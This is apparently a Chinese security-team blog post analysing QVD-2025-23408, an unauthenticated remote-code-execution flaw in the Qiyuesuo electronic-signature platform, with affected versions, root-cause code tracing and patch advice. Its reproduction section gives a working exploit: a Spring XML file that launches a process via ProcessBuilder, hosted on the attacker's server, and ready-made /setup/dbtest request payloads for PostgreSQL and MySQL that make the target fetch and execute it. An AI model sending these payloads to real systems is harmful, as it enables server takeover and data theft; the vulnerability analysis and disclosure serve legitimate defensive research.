QVD-2025-23408:契约锁电子签章系统未授权RCE漏洞
原文链接: https://mp.weixin.qq.com/s?__biz=MzU0MTc2NTExNg==&mid=2247492423&idx=1&sn=11c5751ce8c00ae8ea6046da3c250e20
QVD-2025-23408:契约锁电子签章系统未授权RCE漏洞
实战安全研究 2025-07-06 15:47
关注我们❤️,添加星标🌟,一起学安全!
作者:Howell@Timeline Sec
本文字数:2480
阅读时长:2~3mins
声明:仅供学习参考使用,请勿用作违法用途,否则后果自负
0x01 简介
契约锁是上海亘岩网络科技有限公司打造的电子签约及印章管理平台,联合权威机构提供数字身份、电子签章、印章管控及数据存证服务,助力企业数字化转型。其电子文件具备法律效力,支持多种签署方式,可集成业务系统,满足多行业需求。
0x02 漏洞概述
漏洞编号:QVD-2025-23408
这是一个严重的远程代码执行漏洞,该漏洞源于管理控制台存在未授权 JDBC 注入漏洞,攻击者无需身份认证,通过构造恶意数据库连接参数,在
dbtest
接口触发远程代码执行,这可能导致服务器被完全控制、数据泄露或业务系统沦陷。
0x03 利用条件
1)影响版本
4.3.8 <= 契约锁 <= 5.3.* && 补丁版本 < 2.1.5
4.0.* <= 契约锁 <= 4.3.7 && 补丁版本 < 1.3.5
2)所需权限:无
0x04 漏洞复现
访问/setup/dbtest或/api/setup/dbtest
对POSTGRESQL数据库进行利用
新建1.xml文件,内容如下,放至自己的VPS上
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:p="http://www.springframework.org/schema/p"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd</value>
<value>/c</value>
<value>calc</value>
</list>
</constructor-arg>
</bean>
</beans>
执行payload:
/setup/dbtest?db=POSTGRESQL&host=localhost&port=5321&username=root&name=test%2F%3FsocketFactory%3Dorg%2Espringframework%2Econtext%2Esupport%2EClassPathXmlApplicationContext%26socketFactoryArg%3Dhttp%3A%2F%2F100.XX.XXX.85:8099%2F1%2Exml
目标主机上弹出计算器
mysql数据库payload:
/setup/dbtest?db=MYSQL&host=localhost&port=3306&username=root&name=test%2F%3FsocketFactory%3Dorg%2Espringframework%2Econtext%2Esupport%2EClassPathXmlApplicationContext%26socketFactoryArg%3Dhttp%3A%2F%2Fxxx.dnslog.cn%2F1%2Exml
注意:是否存在/api/路径需根据实际情况判断,如存在,payload前需添加/api/
0x05 漏洞分析
com.qiyuesuo.config.ConsoleConfiguration
这个类有定义前台不需要鉴权的接口,其中就包含了此次漏洞的接口
/setup/dbtest
问题的入口点
com.qiyuesuo.setup.SetupController#dbtest
在代码中请求了几个参数 host、port、name、username,接着我们追踪
validateDatabase
方法
在
com.qiyuesuo.setup.SetupService#validateDatabase
方法中调用
dbset
方法建立数据库连接,接着追踪
dbtest
方法
在
com.qiyuesuo.setup.SetupService#dbtest
方法中可以看到,方法从
databaseService
获取数据库连接然后检查连接是否非空且有效等等,然后追踪
databaseService.getConnection
方法直接就是 jdbc 反序列化调用了
0x06 修复方式
1、缓解措施
:避免将该系统管理端HTTP服务直接暴露在互联网。
2、修复建议
:目前,官方已发布修复建议,建议受影响的用户尽快升级至安全版本。
官方补丁下载地址:
https://www.qiyuesuo.com/more/security/servicepack
参考链接
https://mp.weixin.qq.com/s/gmfx97xH4OHtGSJ0UmgOKA https://mp.weixin.qq.com/s/mRu0RCM4hDx0EwEWwwyLcQ https://blog.csdn.net/baidu_25299117/article/details/139990814
回复
【加群】
进入微信交流群
回复
【SRC群】
进入SRC-QQ交流群
回复
【新人】
领取新人学习指南资料
回复
【面试】
获取渗透测试常见面试题
回复
【手册】
获取原创技术PDF手册
回复
【合作】
获取各类安全项目合作方式
回复
【帮会】
付费加入SRC知识库学习
回复
【
培训】
获取TimelineSec创办的实战课程
视频号:搜索TimelineSec,官方微博
团队官网:
http://www.timelinesec.com
B站:
https://space.bilibili.com/524591903
❤
觉得有用就点个赞吧!
欢迎评论区留言讨论~